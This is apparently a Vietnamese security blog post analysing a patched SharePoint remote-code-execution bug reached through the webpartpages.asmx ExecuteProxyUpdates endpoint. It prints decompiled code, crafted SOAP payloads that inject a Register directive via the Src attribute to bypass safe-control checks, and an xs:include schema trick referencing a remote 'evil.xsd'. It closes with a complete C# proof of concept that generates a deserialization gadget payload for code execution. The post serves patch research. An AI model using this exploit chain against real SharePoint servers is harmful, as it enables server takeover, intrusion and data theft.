Phân tích 1day Sharepoint trong một buổi chiều đầu hạ
Tuần trước Microsoft vừa release bản vá bảo mật tháng 5/2026 cho Sharepoint, bản vá này fix rất nhiều lỗ hổng cho phép RCE. Sau khi diff thì mình thấy có entry point sử dụng attack surface quen thuộc đã được khai thác rất nhiều trên Sharepoint và cũng như là để “khởi động” cho bản vá P2O sắp tới, mình quyết định thử tìm hiểu và phân tích bug này.
Do giới hạn về thời gian, khuyến khích bạn đọc nên đọc các blog sau để hiểu rõ hơn về root cause của attack surface này:
Như đã nói ở trên là bản update này vá nhiều bug RCE nên mình cũng không biết bug phân tích trong bài có CVE như nào nên tạm gọi nó theo entrypoint ProxyUpdateExecutor.
Sau khi cài đặt bán vá và decompile, ta có được kết quả như sau:
ProxyUpdateExecutor.cs có sự thay đổi, method HandleAttribute() của nested class RegisterDirectiveContext được add thêm filter cho các attribute
Đáng chú ý attribute Src bị filter các kí tự được dùng cho register directives cùng các kí tự hay được dùng cho việc escape string.
Lúc này mình đoán chắc là injection point nằm ở đâu đó trong đống attribute này nên trace ngược lại ProxyUpdateExecutor có access được từ user input không.
Trace một hồi thì thấy có WebPartPagesWebServices.ExecuteProxyUpdates() là có thể reach được, đây là một soap endpoint được Sharepoint expose tại /_vti_bin/webpartpages.asmx:
[WebMethod]
public string ExecuteProxyUpdates(string updateData)
{
this.EnsureUserIsAuthenticated();
SPWeb spweb = this.CreateWeb();
if (spweb.DoesUserHavePermissions(SPBasePermissions.ManageLists))
{
try
{
if (string.IsNullOrEmpty(updateData))
{
throw new ArgumentException();
}
ServerWebApplication serverWebApplication = new ServerWebApplication(spweb);
if (SPContext.Current != null)
{
SPContext.Current.SetDesignTimeContext(spweb, null, true);
}
StringBuilder stringBuilder = new StringBuilder();
string text = null;
using (StringWriter stringWriter = new StringWriter(stringBuilder, CultureInfo.InvariantCulture))
{
bool flag = !SPFarm.CheckFlag(ServerDebugFlags.DisableServerSideIncludes);
string text2 = SPHttpUtility.HtmlDecode(updateData);
string text3 = SPHttpUtility.HtmlDecode(text2);
if (string.Compare(text2, text3, StringComparison.OrdinalIgnoreCase) != 0)
{
throw new FormatException("Data contained multiple levels of encoding");
}
EditingPageParser.VerifyControlOnSafeList(text2, null, spweb, flag, true);
ProxyUpdateExecutor.Execute(updateData, stringWriter, serverWebApplication);
text = stringWriter.ToString();
}
if (SPContext.Current != null)
{
SPContext.Current.UnSetDesignTimeContext();
}
return text;
}
catch (Exception ex)
{
throw this.HandleException(ex);
}
}
throw SoapServerException.MakeSoapException(null, WebPartPagesWebService.WebPartPagesWebServicePermissionDenied);
}
Sau khi search internet thì mình phát hiện đây cũng từng là entrypoint cho bug cũ.
Input truyền vào có dạng như sau:
<updateData>
<![CDATA[<UpdateTransaction><Update Type="Document"><Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"><Control
UpdateID="1" TagName="asp:Label" OuterHtml="<asp:Label ID="L1" Text="safe" runat="server" />" NeedsPreview="true"
/></Document><Actions/></Update></UpdateTransaction>]]></updateData>
input sau đó sẽ được check xem có kí tự html và có control trong SafeControls không rồi gọi tiếp tới ProxyUpdateExecutor.Execute() -> XmlInterpretter.ParseXmlLoop() -> XmlInterpretter.DoneReadingAttributes() -> ProxyUpdateExecutor.ControlContext.DoneReadingAttributes() để parse attributes vào Register Directive
internal override void DoneReadingAttributes()
{
if (!this._markup.Validate()) // [1]
{
base.ThrowError(SR.GetString(SR.Ids.RemoteClientRequestRequestError, CultureInfo.CurrentUICulture));
}
if (this._region == null)
{
this._element = ((IServerDocumentDesigner)this._document).CreateElementDesigner(this._markup, this._forceUseDesigner) as ServerElement; // [2]
}
else
{
this._element = ((IServerDocumentDesigner)this._document).CreateNestedElementDesigner(this._markup, this._region.ParentElement, this._region.RegionIndex, this._forceUseDesigner) as ServerElement;
}
if (!this._needsPreview)
{
this._element.ForgetDesignTimeHtml();
}
if (this._element == null)
{
base.SkipElement();
}
}
Tại [1] kiểm tra markup tức tag Control truyền vào có đủ attr không:
internal bool Validate()
{
return this._updateId != null && this._outerHtml != null && this._tagName != null;
}
Sau đó [2] gọi tới ServerDocument.CreateElementDesigner() -> ServerDocument.CreateNestedElementDesignerCore() và initialize các elements:
internal void Initialize(bool blockPropertyTraversal = false)
{
// REDACTED
}
if (this._markup is InstanceMarkup)
{
// REDACTED
}
else
{
this.Document.CheckMarkupForSafeControls(((IWebElement)this).GetOuterHtml(), blockPropertyTraversal); // [3]
this._designer = this.Document.Designer.CreateElementDesigner(this, 0, null, null); // [4]
if (this._designer != null && this._designer.GetControl() is UserControl)
{
this._designer.OnUserControlLoadComplete();
}
}
}
catch (Exception ex)
{
this._errorMessage = ex.Message;
}
finally
{
if (this._forceUseDesigner)
{
this.Document.BlockUseDesignTimeHtmlProvider = false;
}
}
}
Tại [3] sẽ check Controls truyền vào có thuộc SafeControls list không, tại đây sẽ gọi tiếp tới EditingPageParser.VerifyControlOnSafeList() để thực hiện logic check trên. Cụ thể như sau:
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false, bool blockPropertyTraversal = false)
{
Hashtable hashtable = new Hashtable(StringComparer.InvariantCultureIgnoreCase);
Hashtable hashtable2 = new Hashtable();
List<string> list = new List<string>();
EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager); // [5]
EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list, blockPropertyTraversal);
Tại [5] sẽ populate register table bằng cách đọc các directives có trong RegisterDirectiveManager, tức chính là tag <Register> được truyền từ input nếu có.
Tại [6] tiếp tục parse dscXml tức OuterHtml được truyền từ input để lấy inline register directives <%@ Register %>.
// EditingPageParser.VerifyControlOnSafeList()
foreach (object obj in hashtable.Values)
{
ArrayList arrayList = (ArrayList)obj;
foreach (object obj2 in arrayList)
{
Triplet triplet = (Triplet)obj2;
if (string.IsNullOrEmpty((string)triplet.Third)) // [7]
{
string text = (string)triplet.Second;
string text2 = (string)triplet.First;
if (!EditingPageParser.IsAssemblyNamespaceValid(text, text2)) // [8]
{
ULS.SendTraceTag(504656268U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Unexpected, "Register directive(s) contains invalid values");
throw new SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlReasonTypeMarkedUnsafe", new object[0]));
}
}
}
}
Tiếp theo sẽ tiến hành validate các register directives lấy được từ [5] bằng cách duyệt hết value của chúng Triplet(namespace, assembly, src). Tại [7] nếu triplet.Third null tức không có src thì [8] sẽ tiến hành check namespace và assembly có các kí tự không hợp lệ không. Nếu tồn tại src sẽ ignore chỗ này.
Phase còn lại sẽ validate từng control được tìm thấy trong OuterHtml, chỗ này mình sẽ không giải thích chi tiết nữa bạn đọc có thể tự debug thêm chỗ này để hiểu rõ hơn. Lưu ý rằng phase này sẽ chỉ validate attribute OuterHtml.
Sau khi được verify, code tiếp tục gọi tới DocumentDesigner.CreateElementDesigner() -> ControlParser.ParseControl() -> ControlSerializer.DeserializeControlInternal() để tiến hành parse control.
internal static Control DeserializeControlInternal(string text, IDesignerHost host, bool applyTheme)
{
if (host == null)
{
throw new ArgumentNullException("host");
}
if (text == null || text.Length == 0)
{
throw new ArgumentNullException("text");
}
string directives = ControlSerializer.GetDirectives(host); // [9]
if (directives != null && directives.Length > 0)
{
text = directives + text; // [10]
}
DesignTimeParseData designTimeParseData = new DesignTimeParseData(host, text, ControlSerializer.GetCurrentFilter(host));
designTimeParseData.ShouldApplyTheme = applyTheme;
designTimeParseData.DataBindingHandler = GlobalDataBindingHandler.Handler;
Control control = null;
Type typeFromHandle = typeof(LicenseManager);
lock (typeFromHandle)
{
LicenseContext currentContext = LicenseManager.CurrentContext;
bool flag2 = false;
try
{
if (!ControlSerializer.licenseManagerLockHeld)
{
LicenseManager.CurrentContext = new ControlSerializer.WebFormsDesigntimeLicenseContext(host);
LicenseManager.LockContext(ControlSerializer.licenseManagerLock);
ControlSerializer.licenseManagerLockHeld = true;
flag2 = true;
}
control = DesignTimeTemplateParser.ParseControl(designTimeParseData); // [11]
}
catch (TargetInvocationException ex)
{
throw ex.InnerException;
}
finally
{
if (flag2)
{
LicenseManager.UnlockContext(ControlSerializer.licenseManagerLock);
LicenseManager.CurrentContext = currentContext;
ControlSerializer.licenseManagerLockHeld = false;
}
}
}
return control;
}
Logic chỗ này thì đã quá rõ ràng rồi, tại [9] sẽ lấy register directive rồi nối chuỗi với OuterHtml để tạo thành template hoàn chỉnh. Rồi cuối cùng [11] gọi tới TemplateParser.ParseControl(), từ đây mọi thứ đã được CodeWhite phân tích rất chi tiết rồi mình xin phép không phân tích lại nữa.
Như Code White đã phân tích thì từ đây ta có thể declare được custom control bằng một arbitrary type bằng cách sử dụng register directive. Ta cùng quay lại [9] để xem register directive được lấy như nào từ input.
Từ ControlSerializer.GetDirectives() -> RegisterDirective.GetHtml():
public void GetHtml(TextWriter sw, bool includeCodeAssembly)
{
sw.Write("<%@ Register");
string tagPrefix = this.TagPrefix;
if (tagPrefix != null && tagPrefix.Length > 0)
{
sw.Write(" TagPrefix=\"");
sw.Write(tagPrefix);
sw.Write("\"");
}
string tagName = this.TagName;
if (tagName != null && tagName.Length > 0)
{
sw.Write(" TagName=\"");
sw.Write(tagName);
sw.Write("\"");
}
string @namespace = this.Namespace;
if (@namespace != null && @namespace.Length > 0)
{
sw.Write(" Namespace=\"");
sw.Write(@namespace);
sw.Write("\"");
}
string assembly = this.Assembly;
if (assembly != null && assembly.Length > 0)
{
sw.Write(" Assembly=\"");
sw.Write(assembly);
sw.Write("\"");
}
else if (includeCodeAssembly && this.IsCustomControl)
{
sw.Write(" Assembly=\"__code\"");
}
string src = this.Src;
if (src != null && src.Length > 0)
{
sw.Write(" Src=\"");
sw.Write(src);
sw.Write("\"");
}
sw.Write(" %>");
}
Register Directive cho template sẽ được tạo bằng cách append các value ta truyền vào từ input.
Ví dụ:
<updateData><![CDATA[<UpdateTransaction><Update Type="Document"><Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"><Register TagPrefix='x' TagName='y'
Src='z' /><Control
UpdateID="1" TagName="asp:Label" OuterHtml="<asp:Label ID="L1" Text="safe" runat="server" />" NeedsPreview="true"
/></Document><Actions/></Update></UpdateTransaction>]]></updateData>
Như vậy register directive được tạo bằng cách thuần nối chuỗi, ta hoàn toàn có thể inject thêm arbitrary markup vào cuối thông qua attribute src, điều đó cũng được confirm thông qua đoạn diff ban đầu.
Ta có thể chèn thêm kí tự nháy kép " và các kí tự html để có thể escape ra khỏi attribute ban đầu:
<updateData><![CDATA[<UpdateTransaction><Update Type="Document"><Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"><Register TagPrefix='x' TagName='y'
Src='z" %><%@ Register TagPrefix="__z" TagName="__c" Src="zz' /><Control
UpdateID="1" TagName="asp:Label" OuterHtml="<asp:Label ID="L1" Text="safe" runat="server" />" NeedsPreview="true"
/></Document><Actions/></Update></UpdateTransaction>]]></updateData>
Như vậy chỉ bằng việc sử dụng attribute src ta vừa có thể bypass được VerifyControlOnSafeList() [7] , vừa có thể init arbitrary type thông qua injected Register Directive, một sự kết hợp tuyệt đẹp:v
Việc còn lại bây giờ là tìm được arbitrary type nào có thể giúp ta có được RCE thông no-arg constructor hoặc getter/setter method của nó. Ta có thể sử dụng lại POC của ToolShell.
Type được sử dụng cho ToolShell là Microsoft.PerformancePoint.Scorecards.ExcelDataSet. Type này có getter gọi tới Helper.GetObjectFromCompressedBase64String() -> BinarySerialization.Deserialize(). BinarySerialization lại được filter khá chặt thông qua LimitingBinder và DataSetSurrogateSelector.
Bug ToolShell được exploit bằng cách bypass được DataSetSurrogateSelector, tuy nhiên chỗ bypass này đã được patch sau đó nên hiện tại ta không thể áp nguyên poc cũ để RCE được.
Sau một hồi mò mẫm thì mình có để ý thấy ở bản vá tháng 5 có add thêm blacklist cho XmlValidator, đây cũng chính là class được DataSetSurrogateSelector dùng để thực hiện logic filter:
Bản vá đã block một số elements và attribute cho phép resolve remote schema ở XmlValidator.ValidateXml() như xs:include schemaLocation.
Như vậy ta có thể bypass được XmlValidator bằng cách thay vì truyền XmlSchema chứa blocked attribute msdata:DataType, ta chỉ cần truyền schema bình thường rồi thêm element <xs:include schemaLocation /> để nhúng remote schema khác vào:
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="ds">
<xs:include schemaLocation="http://TARGET/evil.xsd"/>
<xs:element name="ds" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element ref="test"/>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
với evil.xsd:
Như vậy ta đã có thể bypass được DataSetSurrogateSelector:
POC:
using System;
using System.Data;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
class Program
{
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.Error.WriteLine("Usage: poc.exe <schemaLocation_url> <losformatter_file>");
Console.Error.WriteLine("schemaLocation_url: URL to evil.xsd on the SharePoint server");
Console.Error.WriteLine("losformatter_file: path to file containing LosFormatter base64 payload");
Console.Error.WriteLine();
Console.Error.WriteLine("Example:");
Console.Error.WriteLine("poc.exe http://splab/evil.xsd payload.b64");
return;
}
string schemaLocationUrl = args[0];
string losFormatterPayload = System.IO.File.ReadAllText(args[1]).Trim();
string xmlSchema = @"<xs:schema xmlns="""" xmlns:xs=""http://www.w3.org/2001/XMLSchema"" xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" id=""ds"">
<xs:include schemaLocation=""" + schemaLocationUrl + @"""/>
<xs:element name=""ds"" msdata:IsDataSet=""true"" msdata:UseCurrentLocale=""true"">
<xs:complexType>
<xs:choice minOccurs=""0"" maxOccurs=""unbounded"">
<xs:element ref=""test""/>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>";
string xmlDiffGram = @"<diffgr:diffgram xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" xmlns:diffgr=""urn:schemas-microsoft-com:xml-diffgram-v1"">
<ds>
<test diffgr:id=""test1"" msdata:rowOrder=""0"" diffgr:hasChanges=""inserted"">
<pwn xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"">
<ExpandedWrapperOfLosFormatterObjectDataProvider>
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xsi:type=""xsd:string"">" + losFormatterPayload + @"</anyType>
</MethodParameters>
<ObjectInstance xsi:type=""LosFormatter""></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfLosFormatterObjectDataProvider>
</pwn>
</test>
</ds>
</diffgr:diffgram>";
SerializationInfo info = new SerializationInfo(typeof(DataTable), new FormatterConverter());
info.AddValue("DataTable.RemotingVersion", new Version(2, 0));
info.AddValue("XmlSchema", xmlSchema);
info.AddValue("XmlDiffGram", xmlDiffGram);
BinaryFormatter bf = new BinaryFormatter();
using (MemoryStream ms = new MemoryStream())
{
bf.Serialize(ms, CreateSerializableWrapper(info));
byte[] serialized = ms.ToArray();
using (MemoryStream compressed = new MemoryStream())
{
using (GZipStream gz = new GZipStream(compressed, CompressionMode.Compress, true))
{
gz.Write(serialized, 0, serialized.Length);
}
string result = Convert.ToBase64String(compressed.ToArray());
Console.Write(result);
}
}
}
static object CreateSerializableWrapper(SerializationInfo info)
{
return new DataTableSurrogate(info);
}
}
[Serializable]
public class DataTableSurrogate : ISerializable
{
private SerializationInfo _info;
public DataTableSurrogate(SerializationInfo info)
{
_info = info;
}
protected DataTableSurrogate(SerializationInfo info, StreamingContext context)
{
_info = info;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
foreach (SerializationEntry entry in _info)
{
info.AddValue(entry.Name, entry.Value);
}
info.SetType(typeof(DataTable));
}
}









